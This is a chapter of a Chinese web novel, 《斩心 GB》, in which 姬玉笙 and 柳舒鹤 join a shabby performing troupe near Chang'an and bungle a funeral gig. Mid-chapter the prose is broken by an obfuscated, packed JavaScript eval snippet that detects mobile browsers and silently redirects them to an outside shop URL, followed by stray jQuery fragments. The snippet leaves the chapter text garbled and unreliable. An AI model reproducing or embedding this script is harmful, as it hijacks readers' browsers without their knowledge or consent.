7. 长安

作品:《斩心 GB

    “这就是你说的挣钱法子?”


    长安郊外的某村庄。


    姬玉笙手里拿了一只锣,一旁的柳舒鹤举着把唢呐。


    两人站在某农户门前,台下几桌吃席的村民正对他们指指点点。


    “怎么还不开始?”班主坐在下面,一个劲地使眼色。


    “你跟着我的节奏,我每吹到高处,你就敲一下锣。”


    柳舒鹤说完这句话,看到姬玉笙的脸色,没忍住轻笑出声。


    五日前。姬玉笙和柳舒鹤二人到达长安城。


    柳舒鹤脸上的淤青消了不少,却仍高烧不止,像只美艳的熟虾。两人找了家医馆,开了些退烧和活血化瘀的药。


    柳舒鹤的烧很快退了,两人的钱袋,或者说姬玉笙的钱袋,很快见了底。


    柳舒鹤道,阁下救命之恩没齿难忘,他除了嗓子没好,什么都好了,现在立刻马上就能挣钱还债。


    于是姬玉笙跟着柳舒鹤在街上兜兜转转一日,终于在一家看着很业余的杂耍班子前停下脚步。杂耍班子挂了个招牌正要招人。柳舒鹤因外貌出众且通音律,很快被选上了。但戏班子还缺一人,敲锣的回老家种地了,班主对一旁的姬玉笙道,正好,你也一起来,齐活了。


    很快,两人就跟着杂耍班子接到了第一单:给郊外一家刚过世的老人奏乐送终。


    因这里的习俗,八十岁以上老人的白事统统称为喜丧,所以会请杂耍班子过来庆祝。


    为什么会请他们呢。因为别的唢呐班子都要五百文出场费。


    他们只要三百文。


    还要平分。


    姬玉笙觉得自己被耍了。


    “喂,你这个破唱戏的,我孙家太奶的白事有这么好笑吗!什么草台班子!”


    台下有主家的人骂柳舒鹤。


    “哎,算了算了,你太奶也算是喜丧,他要笑,你便让他笑吧。”


    “那你们又在磨蹭什么呢?半天听不到个响?席面上的菜都要凉了,花钱请你们过来,是让你们光站着给我们看的吗?”


    班主在下面急得团团转。


    柳舒鹤戳了戳姬玉笙,“小笙,再不开始我们就拿不到钱了。”


    自从到了长安,柳舒鹤就这么叫姬玉笙了,说他俩已是过命的交情,自己比她大一岁,这么叫很正常。成日小笙长小笙短的,把姬玉笙恶心得不行。


    除了他俩,前面还有两个跳肚皮舞的姑娘,在寒风里发瑟瑟发抖。


    姬玉笙不忍她们再多一时受冻,终于举起锣敲了一声。


    “好戏开始!”那班主呼出一口长气。


    柳舒鹤吹起了唢呐,两位姑娘跟着节奏跳舞,姬玉笙时不时突兀地来上一锣,吓台下村民一跳,场面十分喜庆,根本看不出来是白事。


    其实她是照着柳舒鹤的话做的,只不过她分不清什么算高音,因为后面又有更高的音,所以到了后面,她手上的锣就没停响。


    柳舒鹤呢,中规中矩,只要他不唱歌,吹吹乐器什么的还是在调上的,但一直在笑场,于是那唢呐也吹得东倒西歪。


    至于那两位姑娘,也不知道是那班主哪里找来的草台班子,跳着跳着一个还把另一个绊倒了。


    一曲终于结束,台下的看客神情疲惫,像是经历了一场恶战。


    班主一脸冷汗看着台上几位才子佳人。


    结果就是,一帮子人被主家赶瘟神一样赶了出去,不仅没拿到钱,连席都没吃上一口。


    几人饥肠辘辘地回到长安城中班主的宅院。


    趁班主装卸马车的间隙,柳舒鹤薅走了班主的钱袋,四人出门去了长安城盛名远扬的古时月酒楼,大吃大喝了个痛快。


    第二日,柳舒鹤晨起时照旧美美泡了个热水澡,又去厨房捣鼓了一上午。


    “小笙,饭好了,过来吃饭~”


    班主道,“我和阿春阿秋的饭呢。”


    柳舒鹤道,“我又不是来做饭的。与我何干。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561576|142730||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    姬玉笙喝了口汤,“淡了。”


    “我去加点盐,你先别吃。”柳舒鹤道。“好了你现在再尝尝呢。”


    “你加了一整罐盐。”


    “等着,为兄去重做。”


    柳舒鹤又在灶台哗哗一顿操作,黑烟四起,自己被呛得咳嗽不止。


    “尝尝,这是我最拿手的糖醋小排。姑苏同杭州的口味应都差不多。”


    虽然那糖醋排骨看着是糊的,味道竟还说得过去。


    “饱了。”


    “再多吃点。不吃了?来~为兄给你擦嘴。”


    “滚。手拿开。”


    阿春和阿秋睡到了日上三竿,出来晃了晃,打了个哈欠,又回去接着睡了。


    班主搬了个板凳坐门口,扒着指头草草算了一下收支。


    这几位来了之后一分没挣不说,算上路费等日常开销,班主已倒贴五两银子。


    特别是饭桌上这两位。他有些后悔把这两位招了进来。


    那姓柳的男的除了长得好看一无是处,阴阳怪气尖酸刻薄。班主蹲在草丛解手,柳舒鹤经过,将其本就稀疏的头发薅走数根,说以为是哪家烫了毛的鸡丢草丛里忘了拿回家。


    那姓姬的女的会武功,凶悍无比,展示才艺时给班主表演打拳,临面一掌将班主吓得从凳子上瘫落在地。虽平日里半天憋不出一句话,但那姓柳的却只怕她。


    来时,他们自称一对兄妹,父亲姓姬,母亲姓柳,来自江浙一带。


    但这妹妹对她兄长毫无半点尊敬,不是斥喝就是冷脸,那做兄长的还一脸谄媚,十分可疑。


    哦对了。还有那女子的马。一天要吃八斤草料。还只吃上等的。


    再忍忍。班主想。反正他也不是真请他们来吹拉弹唱的。


    过了几天,杂耍班子里又来了个活。


    这次也是到一个村庄里去做事,但这次的活是喜事,是长安城外盛产樱桃的哑巴村,要迎娶一位新娘。